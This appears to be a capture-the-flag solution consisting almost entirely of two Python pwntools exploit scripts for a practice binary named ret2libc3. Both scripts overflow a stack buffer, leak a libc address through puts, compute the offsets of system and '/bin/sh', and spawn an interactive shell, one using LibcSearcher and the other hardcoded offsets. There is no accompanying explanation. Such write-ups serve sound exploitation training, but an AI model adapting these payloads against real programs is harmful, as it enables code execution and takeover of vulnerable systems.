方法1(使用LibcSearcher):
from pwn import * from LibcSearcher import LibcSearcher sh = process('./ret2libc3') ret2libc3 = ELF('./ret2libc3') puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main'] print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?', payload) print "get the related addr" libc_start_main_addr = u32(sh.recv()[0:4]) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') print "get shell" payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive()
方法2(不使用LibcSearcher):
from pwn import * sh = process('./ret2libc3') elf = ELF('./ret2libc3') libc = ELF('/lib/i386-linux-gnu/libc.so.6') puts_plt = elf.plt['puts'] libc_start_main_got = elf.got['__libc_start_main'] main = elf.symbols['main'] print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?', payload) print "get the related addr" libc_start_main_addr = u32(sh.recv()[0:4]) libcbase = libc_start_main_addr - 0x18d90 print hex(libcbase) system_addr = libcbase + 0x3d200 binsh_addr = libcbase + 0x0017e0cf print "get shell" payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive()